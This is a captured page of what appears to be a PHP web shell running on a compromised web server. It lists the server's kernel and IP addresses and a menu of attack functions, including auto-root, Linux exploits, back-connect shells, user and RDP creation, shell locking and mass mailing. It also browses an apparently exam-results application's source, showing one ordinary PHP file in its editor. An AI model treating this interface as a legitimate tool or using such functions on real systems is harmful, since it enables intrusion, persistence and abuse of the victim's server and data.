Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.12.34.211
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
results /
jssw /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Thumbs.db
19
KB
-rwxr-xr-x
applicationFormReport.php
8.79
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
cappdu.php
3.53
KB
-rwxr-xr-x
challan_preparation.php
10.27
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
516
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.34
KB
-rwxr-xr-x
download_upload.html
2.6
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
mregistry.php
1
KB
-rwxr-xr-x
results.php
29.13
KB
-rwxr-xr-x
results_before_rvrt_display.ph...
27.97
KB
-rwxr-xr-x
results_jssw.php
29.13
KB
-rw-rw-r--
revaluation.php
15.96
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cappcontext.php
<?php require_once("cconfig.php"); require_once( APP_DB_G . "/adodb.inc.php"); require_once( APP_DB_G . "/tohtml.inc.php"); require_once( APP_DB_G . "/toexport.inc.php"); require_once( APP_SRC_G . "/crequestbroker.php"); require_once( APP_SRC_G . "/csessions.php"); require_once( APP_SRC_G . "/coutput.php"); require_once( APP_SRC_G . "/cuser.php"); class CApplicationContext { public $mobj_config; #Config Object public $mobj_db; #Adodb Object public $mobj_orb; #Request Broker - Singleton Class with static functions public $mobj_user; #User Object public $mobj_data; #Data public $mobj_output; #Output stream public $main_src; #public $mobj_logger; #Logger stream function __construct() { } function Initialize() { # all the contained object creations happen here and not in the constructor # this is to avoid exceptions during object creation # 06. Input - Init $this->mobj_data = $_REQUEST; //var_dump($_REQUEST); # 01. Create the Config Object $this->mobj_config = new CConfig( isset($this->mobj_data["dbg"]) ); # 02. Create the DB Object $this->mobj_db = ADONewConnection("mysqli"); # by default we connect to mysql $this->mobj_db->debug = $this->mobj_config->mbool_debug; $lbool_res = $this->mobj_db->Connect($this->mobj_config->mstr_host, $this->mobj_config->mstr_user, $this->mobj_config->mstr_password, $this->mobj_config->mstr_db); # 03. Create the Request Broker $this->mobj_orb = CRequestBroker::GetInstance(); /* Actions to be registered in mregistry.php */ # 04. Sessions CSessions::Initialize(); # 07. Output - Init $this->mobj_output = new COutput(); $this->mobj_output->Initialize(); # 05. User $this->mobj_user = CSessions::GetUser(); $this->mobj_user = CSessions::GetUser(); //$sess_obj=NEW CSessions(); // $this->mobj_user = $sess_obj->GetUserManual(); if (!isset($this->mobj_user)) $this->mobj_user = new CUser($this); # to get the main source $script_name=($_SERVER['SCRIPT_NAME']); $removed_slash=substr($script_name,1,strlen($script_name)); $main_folder_name= substr($removed_slash,0,$pos); $removed_slash=substr($script_name,1,strlen($script_name)); $pos=strpos($removed_slash, "app.php"); //$main_folder_name=strstr(substr($script_name,1,strlen($script_name)),"/",true); $main_folder_name= substr($removed_slash,0,$pos); $dir="{$_SERVER['DOCUMENT_ROOT']}/{$main_folder_name}"; $this->main_src=$dir; //$this->main_src=$_SERVER["DOCUMENT_ROOT"]."/".$main_src_obj[1]; $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); if(count($main_src_obj)==3) $root= $main_src_obj[1]; else $root=""; $this->main_path="http://".$_SERVER["SERVER_NAME"].'/'.$root; } function __destruct() { # though php closes the db, it is good practice to do it ourselves explicitely once # $this->mobj_db->Close(); unset($this->mobj_db); unset($this->mobj_config); } } ?>
Close